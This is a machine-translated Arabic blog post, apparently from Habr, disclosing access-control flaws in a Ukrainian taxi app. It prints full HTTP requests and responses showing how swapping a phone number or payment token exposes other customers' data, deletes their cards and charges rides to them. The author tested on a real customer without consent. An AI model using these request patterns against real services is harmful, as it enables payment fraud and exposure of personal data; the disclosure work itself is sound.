كيفية ركوب سيارة أجرة على حساب شخص آخر - نقاط الضعف في مثال خدمة واحدة

بعد العثور على نقاط الضعف في الخدمات المصرفية عبر الهاتف المحمول لبنك أوكراني ( آخر ) ، أردت تغيير الاتجاه قليلاً والتحول من الخدمات المالية إلى الآخرين.

لفتتني مقالة إعلانية حول تطبيق تاكسي الجوال المحدّث ، واختارته كتجريبي.

هنا الأدوات هي نفسها: PC ، Fiddler ، Android-smartphone - قم بتثبيت التطبيق وتتبع طلباته.

على وجه التحديد لم أفكر في الطلبات والإجابات عند التسجيل أو تسجيل الدخول (على سبيل المثال ، لم أتحقق من إمكانية استخدام كلمة مرور القوة الغاشمة) ، لكنني انتقلت إلى الوظائف المتاحة بعد التسجيل.

نظرًا لأنني لم يكن لدي سجل سفر باستخدام هذه الخدمة ، ولم أكن أرغب في القيام برحلة حقيقية للاختبار ، فقد كنت بحاجة إلى بيانات من أحد العملاء الآخرين. قررت أن أسأل أصدقاء عن حساب في الخدمة. كان من بين معارفه عملاء هذه التاكسي ، لكنهم اتصلوا به بالطريقة القديمة - من خلال مكالمة.

ثم بدأت في البحث عن أرقام الهواتف بين المعلومات المتاحة للجمهور على الإنترنت - على سبيل المثال ، على الموقع الرسمي وبين المراجعات في الشبكات الاجتماعية ( غالبًا ما يكون العملاء غير راضين ، ووصف الشكاوى ، واتركهم في التعليقات للعرض العام بدلاً من إرسال الشركة إلى مديرهم الشخصي ). نتيجة لذلك ، وجدت اثنين من الهواتف على أحد مواقع البحث عن وظيفة. لقد استبدلت أحدهم في الطلبات اللاحقة وتلقيت معلومات لا ينبغي أن تكون متاحة لأي شخص من الخارج.



كانت هذه هي المشاكل التالية:

1. نحصل على هوية العميل واسمه وهاتفه والبريد الإلكتروني والمدينة (يعمل التاكسي في عدة مدن).

عندما يقوم التطبيق بتحميل ملف التعريف ، يتم تنفيذ طلب POST التالي:

https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: User Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 37 func=loadMyInfo&phone=%2B380671234567 

استبدال رقم هاتف شخص آخر في وظيفة loadMyInfo&phone ، استجابةً تلقيت معرف العميل واسمه الكامل loadMyInfo&phone الإلكتروني والمدينة:

 [{"id":14014,"varFirstName":" ","varLastName":"","varSurName":" ","varTel":"+380671234567","varTel2":"","varEmail":"Sergey_ivan@some.mail","city":1,"cityName":""}] 


2) معلومات حول بطاقات الدفع العملاء

في الطلب الثاني ، تمكنت من الحصول على معلومات حول بطاقات الدفع التي أضافها العميل إلى حسابي الشخصي:

 https://sometaxi/mobile3/ClientCard.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: User Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 58 data={"Task":"GetClientCardsData","phone":"+380671234567"} 

الجواب هو:

 {"data":[{"masked_card":"512345XXXXXX6789","rectoken":"ccaffe873a0e88caf49bc65bbef2390329","card_type":"MASTERCARD","default":true,"card_name":""}]} 

كانت متوفرة هنا: رقم البطاقة المقطوعة ، نوع من الرمز المميز ، نوع البطاقة ، ما إذا كانت البطاقة مثبتة بشكل افتراضي واسمها.

3) الحصول على معلومات حول رحلات العميل

الطلب الثالث - loadHistory - من المتوقع أن يزودني بأكبر قدر من المعلومات وأكثرها أهمية (كما اعتقدت آنذاك):

 https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: User Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 38 func=loadHistory&phone=%2B380671234567 

جزء من الإجابة (كما كان من قبل ، تغيرت البيانات) :

 {"id":454875,"From":"- ., 1","To":"і ., 13","When":"10-01-2019 15:55","WhenDate":1569942900,"Price":"160","Rate":0,"preorder":0,"status":1,"orderid":"11174445","additionalServices":"[]","classAvto":2,"callsignid":6426,"Car":"  ,Toyota Corolla,, 3733 ","city":1,"cityName":"ї","distance":"0.00"} {"id":408880,"From":"  ., 2","To":"- ., 1","When":"25-12-2018 03:44","WhenDate":1545709440,"Price":"79","Rate":0,"preorder":0,"status":1,"orderid":"10966503","additionalServices":"[]","classAvto":2,"callsignid":4545,"Car":"  ,Toyota Corolla,, 0415 ","city":null,"cityName":null,"distance":"0.00"} 

تتوفر هنا: عنوان المغادرة وعنوان الوجهة وتاريخ ووقت الرحلة والتكلفة ، بالإضافة إلى الاسم الكامل لسائق التاكسي ونوعه ولونه ورقم سيارته.

المجموع: مع اثنين من الطلبات ، عن طريق رقم الهاتف ، يمكنك معرفة كل شيء عن عميل هذه الخدمة ، بما في ذلك تفاصيل معينة عن حياته الشخصية (على سبيل المثال ، رحلة إلى السنة الجديدة في 2:00 من عنوان واحد إلى آخر).

بالتأكيد هناك أماكن أخرى في التطبيق حيث يمكن الحصول على معلومات أخرى. ولكن تم العثور عليه بالفعل بما يكفي لإبلاغ المطورين بهذا الأمر ، وهو ما قمت به على الفور لتوجيه عناوين العمل.

تقابلنا لمدة شهر ، وبعد ذلك دفعوا لي رسومًا.



ثم يمكن أن ينتهي هذا المنشور ، لكنني قررت التحقق مرة أخرى إذا تم إصلاح جميع الأخطاء.

نعم ، لم يعطني طلبان من المعلومات الثلاثة معلومات عن أشخاص آخرين ، لكن طلب واحد كان لا يزال ساريًا.

تتم إضافة بطاقات الدفع إلى هذا التطبيق بنفس طريقة إضافة أي بطاقات أخرى: أولاً ، على صفحة خاصة ، يشير العميل إلى الرقم الكامل وتاريخ انتهاء الصلاحية وبطاقات CVV. ثم يأتي التحقق من خلال شطب 1 غريفنا. وتأكيد العميل لمثل هذه العملية باستخدام 3-D Secure / LookUp. هذه هي الممارسة المعتادة ، فالعدد الكامل وتفاصيل الدفع الأخرى لبطاقات العملاء لم تكن في الطلبات.

لكن بما أنني رأيت أن بطاقتي المضافة يتم حذفها من خلال طلب data={"Task":"DeleteClientCardsData", "rectoken":"bc65bbef2390329ccaffe873a0e88caf49" } النموذج data={"Task":"DeleteClientCardsData", "rectoken":"bc65bbef2390329ccaffe873a0e88caf49" } ، فقد قررت التحقق: ما الذي سيحدث إذا قمت بتحديد rectoken لعميل آخر.

4) إزالة بطاقة شخص آخر عن طريق الرمز

أقوم بتنفيذ الطلب برمز آخر:

 https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F) Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 86 data={"Task":"DeleteClientCardsData","rectoken":"ccaffe873a0e88caf49bc65bbef2390329"} 

وذهبت البطاقة الغريبة!

لقد قمت أيضًا بالتحقق من ذلك باستخدام نفس الاستعلام رقم 2 - هل كان مجرد استجابة مرئية {"status":"Success"."err":""} ، أو تم حذف البطاقة بالفعل من العميل.

تم حذف الخريطة بالفعل.

على الفور كتبت خطابًا ثانيًا ، اعتذرًا ، ولكني قررت إجراء مزيد من التجربة بإنشاء حساب آخر بنفسي: إذا كان يمكن حذف البطاقة بواسطة الرمز المميز - ربما يمكن ربطها بالرمز نفسه ، ويمكن ربطها بنفسها؟

5) إضافة بطاقة شخص آخر عن طريق الرمز المميز إلى حسابك

نعم ، لن أخفي - يمكن ربط بطاقة شخص آخر بنفسه. الشيء الرئيسي هو معرفة rectoken (ويمكنك الحصول عليها بفضل المشكلة المفتوحة # 2).

في طلب POST ، كان من الممكن تحديد أي بيانات - أي 6 أرقام وأول 4 أرقام من رقم البطاقة ، على الأقل 500000 **** 1111 - كانت البطاقة مرتبطة بصريًا بهذه البيانات ، وكان الرمز من عميل آخر وكان صالحًا.

 POST https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F) Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 221 data={"Task":"ClientCardData","default":false,"phone":"+380991234567","masked_card":"500000XXXXXX1111","card_name":"Test","card_type":"MASTERCARD","rectoken":"4f6d228517f2d45690670aba78013a0408"} 

ماذا يعني هذا: نظرًا لإمكانية ربط الرمز المميز بحسابي ، يمكنني القيام برحلة على نفقة شخص آخر دون معرفة التفاصيل الكاملة للبطاقة ودون أي تحقق إضافي - بعد كل شيء ، تمت إضافة البطاقة بالفعل من قبل العميل وتم التحقق منها بنجاح بواسطة خدمة الدفع.

شرح حول القدرة على الدفع من بطاقة شخص آخر:
لتبسيط إدخال تفاصيل الدفع للمدفوعات ، يتم استخدام الدفع بنقرة واحدة على أساس الرموز. عند الشراء الأول ، يقوم العميل بإدخال بيانات الدفع ، مع الدفع اللاحق للعميل ، سيكون من الكافي النقر على زر "الدفع".

الرمز المميز هو رقم فريد يتم تعيينه لمجموعة من معلمات البطاقة في النظام. يمكن استخدام هذا الرمز المميز للدفع المباشر دون إدخال CVV وبدون مصادقة آمنة ثلاثية الأبعاد.

اختياري
إنشاء رمز مميز هو عملية ناجحة لسداد / حظر الأموال على بطاقة العميل مع إدخال التفاصيل الكاملة للعميل (رقم البطاقة ، تاريخ انتهاء الصلاحية ، CVV). يمكنك إنشاء رمز مميز كما يلي:

  1. قبول الدفع (شراء) - الدفع الناجح من قبل العميل مع إدخال تفاصيل البطاقة الكاملة. يتم تعيين بطاقة recToken ويتم إرسالها في الاستجابة.
  2. التحقق من البطاقة / إيصال الرمز المميز (التحقق) - التحقق الناجح من البطاقة ، وحظر الأموال على بطاقة العميل. يتم تعيين بطاقة recToken ويتم إرسالها في الاستجابة.


شطب الرمز المميز - عملية الخصم / حجب الأموال على البطاقة ، دون مشاركة العميل ، عن طريق تحويل الرمز المميز من التاجر.

يتم أخذ شرح مثال من هنا .

طلب المطورون إثبات إمكانية نقل الرمز المميز من حسابهم إلى حسابي وطلب سيارة أجرة - كانوا بحاجة للتأكد من أن خصم الرمز المميز سيحدث بالفعل. بالطبع ، لقد مر الأمر ، تم خصم المال ( لم أكن في السيارة ). في وقت لاحق دفعوا لي المزيد من المال.



كما ترون من هذا المقال والمقالات السابقة ، أحيانًا لا يكفي PHPSESSID أو التخويل أو SecurityToken.

إذا كنت مطورًا ، فيرجى اتباع ما تقدمه عندما تسأل. إذا كنت مختبراً ، ابحث وابحث ، ولكن تأكد من إبلاغ المطورين بذلك. نقاط الضعف مليئة هنا وهناك ، لذا يرجى أن يكون المتسلل الأبيض.

Source: https://habr.com/ru/post/ar443928/


All Articles